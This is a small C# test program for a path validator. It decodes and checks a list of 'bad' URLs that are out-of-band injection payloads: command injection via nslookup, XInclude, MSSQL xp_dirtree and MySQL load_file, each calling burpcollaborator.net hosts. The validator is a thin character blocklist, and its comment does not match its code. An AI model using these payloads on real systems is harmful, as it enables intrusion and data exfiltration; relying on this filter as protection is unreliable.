using System;

using System.Text.RegularExpressions;

public class Program

{

    public static void Main()

    {

        var badUrls = new[] { 

            "%2f'%22%600%26nslookup%20-q%3dcname%20mc2oeuqe62sdobw7l00p3l95dwjw7r5f23tqje8.burpcollaborator.net.%26%60'",

            "%3chcm%20xmlns%3axi%3d%22http%3a%2f%2fwww.w3.org%2f2001%2fXInclude%22%3e%3cxi%3ainclude%20href%3d%22http%3a%2f%2f7em9gfsz8nuyqwysnl2a56bqfhlh97x8l08rwg.burpcollaborator.net%2ffoo%22%2f%3e%3c%2fhcm%3e",

            "%2f')%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5cbhwdjjv3brx2t01wqp5e8aeuilolcga41xpoce03.burpcollab'%2b'orator.net%5cllc'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20",

            "%2f'%2b(select%20load_file('%5c%5c%5c%5czx01z7brrfdq9ohk6dl2oyuiy949s4qshv5mscg1.burpcollaborator.net%5c%5cyza'))%2b'",

            "http://google.com",

            "https://asdasdsadasd.co.uk",

            "file:///asdasdasdasd"

        };

        var validUrls = new[] {

            "0972b8ns3gprlptliex30z6jaaga452tuhl4bs0.burpcollaborator.net",

            "ReportService2010.asmx",

            "/Report/",

            "/2nd TestReport with a relatively long name etc. blah"

        };

        Console.WriteLine("########  bad  ########");

        foreach (var url in badUrls) {

            var decodedUrl = Uri.UnescapeDataString(url);

            var isValid = ValidatePath(decodedUrl);

            Console.WriteLine(decodedUrl + ": " + isValid);

        }

        Console.WriteLine("");

        Console.WriteLine("######## good ########");

        foreach (var url in validUrls) {

            var decodedUrl = Uri.UnescapeDataString(url);

            var isValid = ValidatePath(decodedUrl);

            Console.WriteLine(decodedUrl + ": " + isValid);

        }

    }

    public static bool ValidatePath(string path)

    {

      var result = true;

​

      // starts with "/"

      result &= !string.IsNullOrEmpty(path);

      var invalidChars = new char[] { '\\', '&', '"', '@', '$', ';' };

​

      // doesn't contain charaters not allowed in a windows path

      var containsABadCharacter = new Regex("["

           + Regex.Escape(new string(invalidChars)) + "]");

      result &= !(containsABadCharacter.IsMatch(path));

​

      return result;

    }

}